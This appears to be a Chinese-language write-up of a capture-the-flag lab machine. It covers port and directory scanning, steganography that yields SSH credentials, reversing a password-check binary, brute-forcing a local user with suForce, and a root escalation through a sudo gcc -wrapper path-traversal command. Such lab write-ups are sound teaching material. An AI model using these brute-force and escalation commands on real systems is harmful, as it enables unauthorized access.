信息收集#
nmap 掃描結果如下:
┌──(root㉿kali)-[~/challenge/0213]
└─# cat nmapscan/detail
# Nmap 7.95 scan initiated Thu Feb 13 10:38:44 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.104
Nmap掃描報告針對192.168.56.104
主機正常運行 (0.00072s延遲)。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
| 256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_ 256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open http nginx 1.14.2
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: nginx/1.14.2
服務信息: OS: Linux; CPE: cpe:/o:linux:linux_kernel
服務檢測已執行。請在 https://nmap.org/submit/ 報告任何不正確的結果。
# Nmap於Thu Feb 13 10:38:51 2025完成 -- 1個IP地址 (1個主機正常運行) 在6.88秒內掃描
根據掃描結果,目標主機僅開放了 22 和 80 端口,分別為 SSH 和 HTTP 服務。HTTP 服務使用的是 Nginx 1.14.2 版本,且網頁顯示為 Apache2 的默認歡迎頁面。
web 踩點#
嘗試爆破目錄一無所獲
首頁是一個典型的 Apache2 Ubuntu 默認頁面。為了進行進一步的探測,我們首先使用wget
下載首頁並檢查其大小
發現該頁面的大小果然與常規的 Apache2 頁面有所不同。接著,查看其源碼,發現了兩個非常關鍵的註釋:
<!-- 117db0148dc179a2c2245c5a30e63ab0 -->
-> 嘗試用 md5 解密無果<!-- Some people always don't understand the format of photos. -->
-> 結合上面註釋猜測存在隱藏圖片文件
我們使用gobuster
進行目錄爆破
┌──(root㉿kali)-[~/challenge/0213]
└─# gobuster dir -w hint -u `IP` -x .jpg,.jpeg,.png,.gif,.bmp,.tiff,.webp --exclude-length 11618
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.104
[+] Method: GET
[+] Threads: 10
[+] Wordlist: hint
[+] Negative Status codes: 404
[+] Exclude Length: 11618
[+] User Agent: gobuster/3.6
[+] Extensions: jpg,jpeg,png,gif,bmp,tiff,webp
[+] Timeout: 10s
===============================================================
開始gobuster目錄枚舉模式
===============================================================
/117db0148dc179a2c2245c5a30e63ab0.jpg (狀態: 200) [大小: 190696]
/117db0148dc179a2c2245c5a30e63ab0.png (狀態: 200) [大小: 379011]
進度: 8 / 16 (50.00%)
===============================================================
完成
===============================================================
根據爆破結果,發現了兩個圖片文件:
圖片隱寫分析#
jpg:#
┌──(root㉿kali)-[~/challenge/0213]
└─# exiftool 117db0148dc179a2c2245c5a30e63ab0.jpg
ExifTool版本號 : 13.10
文件名稱 : 117db0148dc179a2c2245c5a30e63ab0.jpg
目錄 : .
文件大小 : 191 kB
文件修改日期/時間 : 2025:02:13 01:33:04+08:00
文件訪問日期/時間 : 2025:02:14 21:09:38+08:00
文件inode變更日期/時間 : 2025:02:13 10:55:21+08:00
文件權限 : -rw-r--r--
文件類型 : JPEG
文件類型擴展 : jpg
MIME類型 : image/jpeg
JFIF版本 : 1.01
解析度單位 : 無
X解析度 : 1
Y解析度 : 1
註釋 : 219f26695ac66c93de9de70eebeefea4deb071df71b9b7d7ebcc06eca47ff6e4
圖像寬度 : 1280
圖像高度 : 960
編碼過程 : Baseline DCT, Huffman編碼
每個樣本位數 : 8
顏色組件 : 3
Y Cb Cr子取樣 : YCbCr4:2:0 (2 2)
圖像大小 : 1280x960
百萬像素 : 1.2
┌──(root㉿kali)-[~/challenge/0213]
└─# stegseek 117db0148dc179a2c2245c5a30e63ab0.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] 進度: 99.42% (132.7 MB)
[!] 錯誤: 找不到有效的密碼短語。
在Comment
字段中,我們得到一串字符但解不出來,應該是煙霧彈;之後,我們使用stegseek
工具進行隱寫分析,但未能找到有效的密碼。
png:#
使用zsteg
檢查 lsb 隱寫
┌──(root㉿kali)-[~/challenge/0213]
└─# zsteg 117db0148dc179a2c2245c5a30e63ab0.png
imagedata .. text: "\n\n\n\t\t\t\n\n\n"
b1,rgb,lsb,xy .. text: "morainelake"
b1,bgr,msb,xy .. file: OpenPGP Public Key
b2,r,lsb,xy .. text: "UUUUUUUU@"
b2,g,lsb,xy .. text: "E@UAUUUUUUUUj"
b2,g,msb,xy .. text: "UUUZs-VUU"
b2,b,lsb,xy .. text: "EUUUUUUUUV"
b2,b,msb,xy .. text: "_UUUoUUe"
b3,b,msb,xy .. file: MPEG ADTS, layer I, v2, 96 kbps, Stereo
b3,rgb,lsb,xy .. file: PGP Secret Sub-key -
b4,r,lsb,xy .. text: "DEUTfgww"
b4,r,msb,xy .. text: "M,\"\"\"\"\"\""
b4,g,lsb,xy .. text: ["\""重複10次]
b4,g,msb,xy .. text: "HDDDDDDDDDDH"
b4,b,lsb,xy .. text: "3\"##2\"\"#33333333333333334DDDDDDDDDD4C333\"\"\""
b4,b,msb,xy .. text: ",\"\"\"\"\"\"\"\"\"\","
存在 lsb 隱寫,這裡的morainelake
很可能是一個潛在的密碼
使用密碼 morainelake
成功提取 steghide
隱藏的文件:
┌──(root㉿kali)-[~/challenge/0213]
└─# steghide extract -sf 117db0148dc179a2c2245c5a30e63ab0.jpg -p morainelake
文件 "secret.zip" 已經存在。是否覆蓋? (y/n) y
寫入提取數據到 "secret.zip"。
接著解壓 secret.zip
文件,同樣用上面的密碼:
┌──(root㉿kali)-[~/challenge/0213]
└─# unzip secret.zip
壓縮檔: secret.zip
創建: secret/
[secret.zip] secret/secret.txt 密碼:
提取: secret/secret.txt
最終得到了一組 ssh 憑據:
┌──(root㉿kali)-[~/challenge/0213]
└─# cat secret/secret.txt
morainelake:660930334
提權 - welcome#
首先對 /opt/reverse 程序進行逆向分析
main 函數的偽代碼如下:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[28]; // [rsp+9h] [rbp-E7h] BYREF
char v5[7]; // [rsp+25h] [rbp-CBh] BYREF
char v6[16]; // [rsp+2Ch] [rbp-C4h] BYREF
int v7; // [rsp+3Ch] [rbp-B4h] BYREF
int v8; // [rsp+40h] [rbp-B0h] BYREF
int v9; // [rsp+60h] [rbp-90h] BYREF
int v10[8]; // [rsp+80h] [rbp-70h] BYREF
char dest[24]; // [rsp+A0h] [rbp-50h] BYREF
void *ptr; // [rsp+B8h] [rbp-38h]
int v13; // [rsp+C0h] [rbp-30h]
char v14; // [rsp+C7h] [rbp-29h]
char *v15; // [rsp+C8h] [rbp-28h]
char *v16; // [rsp+D0h] [rbp-20h]
void *v17; // [rsp+D8h] [rbp-18h]
void *v18; // [rsp+E0h] [rbp-10h]
char v19; // [rsp+EBh] [rbp-5h]
int v20; // [rsp+ECh] [rbp-4h]
puts("輸入密碼或進入 H coward mode:");
v20 = 0;
while ( 1 )
{
__isoc99_scanf("%s", &v4[7]);
if ( strcmp(&v4[7], "H") )
break;
if ( ++v20 == 100 )
{
puts("提示: 反轉XOR替換! ");
goto LABEL_6;
}
}
strcpy(dest, &v4[7]);
__isoc99_scanf("%s %s %s", v10, &v9, &v8);
LABEL_6:
v7 = 8203321;
strcpy(&v6[9], "/, 8:(");
strcpy(v6, "!!|}yx{z");
strcpy(v5, "(;$)(#");
v19 = 77;
v18 = (void *)xor_decrypt(v6, 77LL);
v17 = (void *)xor_decrypt(&v6[9], (unsigned int)v19);
v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);
v15 = (char *)xor_decrypt(v5, (unsigned int)v19);
if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) )
{
strcpy(v4, "pvygob");
v14 = 106;
v13 = 10;
ptr = (void *)caesar_decrypt(v4, 10LL);
printf("[+] 成功輸入密碼! 你知道: %s\n", (const char *)ptr);
free(ptr);
}
else
{
puts("[-] 密碼不正確!");
}
free(v18);
free(v17);
free(v16);
free(v15);
return 0;
}
該程序的 main
函數的主要功能是密碼驗證。在函數中,首先會提示用戶輸入密碼或進入 “H coward mode” 模式。如果用戶輸入了 "H",則程序會提示有關 XOR 操作的提示,並繼續執行其他操作。接著,程序通過多個 xor_decrypt
和 caesar_decrypt
解密函數來解密一系列預設的字符串,最終通過 check_passwords
函數驗證密碼是否正確。如果密碼正確,程序會通過 caesar_decrypt
解密一個字符串並輸出提示信息。
結合程序的 xor_decrypt 和 caeser_decrypt 函數的具體實現,可編寫如下解密腳本:
def xor_decrypt(data, key):
return ''.join(chr(ord(c) ^ key) for c in data)
def caesar_decrypt(data, shift):
decrypted = []
for char in data:
if char.isalpha():
shift_amount = 65 if char.isupper() else 97
decrypted.append(chr((ord(char) - shift_amount - shift) % 26 + shift_amount))
else:
decrypted.append(char)
return ''.join(decrypted)
# 解密字符串
v6 = "!!|}yx{z"
v6_part = "/, 8:("
v5 = "(;$)(#"
v4 = "pvygob"
v7 = 8203321
# 將 v7 轉換為字節數組
v7_bytes = v7.to_bytes((v7.bit_length() + 7) // 8, 'little')
# 使用XOR解密
key = 77
decrypted_v6 = xor_decrypt(v6, key)
decrypted_v6_part = xor_decrypt(v6_part, key)
decrypted_v5 = xor_decrypt(v5, key)
decrypted_v7 = xor_decrypt(v7_bytes.decode(), key)
# 使用凱薩解密
shift = 10
decrypted_v4 = caesar_decrypt(v4, shift)
print("解密的 v6:", decrypted_v6)
print("解密的 v6_part:", decrypted_v6_part)
print("解密的 v5:", decrypted_v5)
print("解密的 v7:", decrypted_v7)
print("解密的 v4:", decrypted_v4)
根據 check_passwords
函數的輸入要求,我們知道正確密碼的組成部分是:
用戶輸入 vs 預期解密值
--------------------------------
dest == v18
v10 == v17
v9 == v16
v8 == v15
按順序輸入
成功破解程序,但我們的目的是拿到 welcome 用戶
用下面代碼生成包含上面四個輸入的全排列字典:
import itertools
# 定義四個字符串
strings = ["ll104567", "bamuwe", "eviden", "ta0"]
# 生成全排列
permutations = list(itertools.permutations(strings))
# 打印全排列結果
for perm in permutations:
print(''.join(perm))
然後上傳 suForce 進行爆破
morainelake@listen:/tmp$ ./suForce -u welcome -w dict
_____
___ _ _ | ___|__ _ __ ___ ___
/ __| | | || |_ / _ \| '__/ __/ _ \
\__ \ |_| || _| (_) | | | (_| __/
|___/\__,_||_| \___/|_| \___\___|
───────────────────────────────────
code: d4t4s3c version: v1.0.0
───────────────────────────────────
🎯 用戶名 | welcome
📖 字典 | dict
🔎 狀態 | 2/24/8%/ll104567bamuweta0eviden
💥 密碼 | ll104567bamuweta0eviden
───────────────────────────────────
爆破成功,拿到 welcome 用戶權限
提權 - root#
root 部分比較簡單,幾乎是現成的 sudo 提權
morainelake@listen:/tmp$ su - welcome
密碼:
$ bash
welcome@listen:~$ sudo -l
匹配的默認條目對於welcome在listen上:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
用戶welcome可以在listen上運行以下命令:
(ALL : ALL) NOPASSWD: /usr/bin/gcc -wrapper /opt/*
gtfo 查閱提權方式
welcome@listen:~$ sudo gcc -wrapper /opt/../../../../bin/bash,-s .
root@listen:/home/welcome# id
uid=0(root) gid=0(root) groups=0(root)
使用../
繞過目錄限制,成功提權至 root。
小結#
靶機入口點卡了我很久,雖然我很快就找到了兩個隱藏圖片,但是 stegseek 沒爆出來密碼我就沒往 steghide 隱寫這方面想了。。
總的來說,這台靶機很有意思,感謝 LingMj 大佬的辛苦製作呀!